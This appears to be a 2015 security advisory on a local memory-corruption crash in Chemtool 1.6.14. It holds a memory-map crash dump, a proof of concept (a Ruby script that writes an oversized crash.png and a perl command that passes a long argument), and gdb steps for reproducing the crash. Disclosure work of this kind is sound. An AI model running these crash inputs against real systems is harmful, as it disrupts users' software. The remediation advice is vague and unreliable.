Document Title:
===============
Chemtool 1.6.14 Memory Corruption Vulnerability

Date:
=============
08/02/2015

Vendor Homepage:
================
http://ruby.chemie.uni-freiburg.de/~martin/chemtool/

Abstract Advisory Information:
==============================
Memory Corruption Vulnerability on Chemtool 1.6.14.

Affected Product(s):
====================
Chemtool 1.6.14 or older

Exploitation Technique:
=======================
Local

Severity Level:
===============
Medium

Technical Details & Description:
================================
A Memory Corruption Vulnerability is detected on Chemtool 1.6.14. An
attacker can crash the software by using an input file.
Also, an attacker can crash the software by entering a filename too long.

b77a8000-b77a9000 r--s 00000000 08:01 152558
/var/cache/fontconfig/3fe29f0c9fa221c8ee16555d4835b3ab-le32d4.cache-4
b77a9000-b77aa000 r--s 00000000 00:15 209651 /run/user/1000/dconf/user
b77aa000-b77bb000 r-xp 00000000 08:01 393480
/usr/lib/i386-linux-gnu/gtk-2.0/modules/liboverlay-scrollbar.so
b77bb000-b77bc000 r--p 00010000 08:01 393480
/usr/lib/i386-linux-gnu/gtk-2.0/modules/liboverlay-scrollbar.so
b77bc000-b77bd000 rw-p 00011000 08:01 393480
/usr/lib/i386-linux-gnu/gtk-2.0/modules/liboverlay-scrollbar.so
b77bd000-b77be000 rwxp 00000000 00:00 0
b77be000-b77bf000 r--p 00855000 08:01 274691
/usr/lib/locale/locale-archive
b77bf000-b77c0000 r--p 00596000 08:01 274691
/usr/lib/locale/locale-archive
b77c0000-b77c2000 rw-p 00000000 00:00 0
b77c2000-b77c3000 r-xp 00000000 00:00 0 [vdso]
b77c3000-b77e3000 r-xp 00000000 08:01 132074 /lib/i386-linux-gnu/
ld-2.19.so
b77e3000-b77e4000 r--p 0001f000 08:01 132074 /lib/i386-linux-gnu/
ld-2.19.so
b77e4000-b77e5000 rw-p 00020000 08:01 132074 /lib/i386-linux-gnu/
ld-2.19.so
bfeff000-bff21000 rw-p 00000000 00:00 0 [stack]
Aborted (core dumped)

Proof of Concept (PoC):
=======================
This vulnerabilities can be exploited by local attackers with
userinteraction.

First test. Attacker can generate a malicious file (format .png).This file
can produced a Stack Smashing.

#/usr/bin/ruby

buf = "a"*3000

filename = "crash.png"
file = open(filename,'w')
file.write(buf)
file.close
puts "file created!"

Second test. Attacker can enter a filename too long. For example, this
program needs recieve a parameter. If this parameter is too long, It will
crash.

$chemtool $(perl -e 'print "A"x900')

How to perform:
=======================
1) You can test it with gdb. You attach this application.
2) Run it, now, you can move "crash.png" file that we generated by our ruby
script to the application. Also, you can run argv[1] with a long value.

When you perform above steps so application will crash. Analyze it on gdb.

Solution - Fix & Patch:
=======================
Restrict working maximum size. I believe that this bug doesn't have
solution.

Security Risk:
==============
The security risk of the vulnerability is estimated as medium because of
the local crash method.

Authors:
==================
Pablo González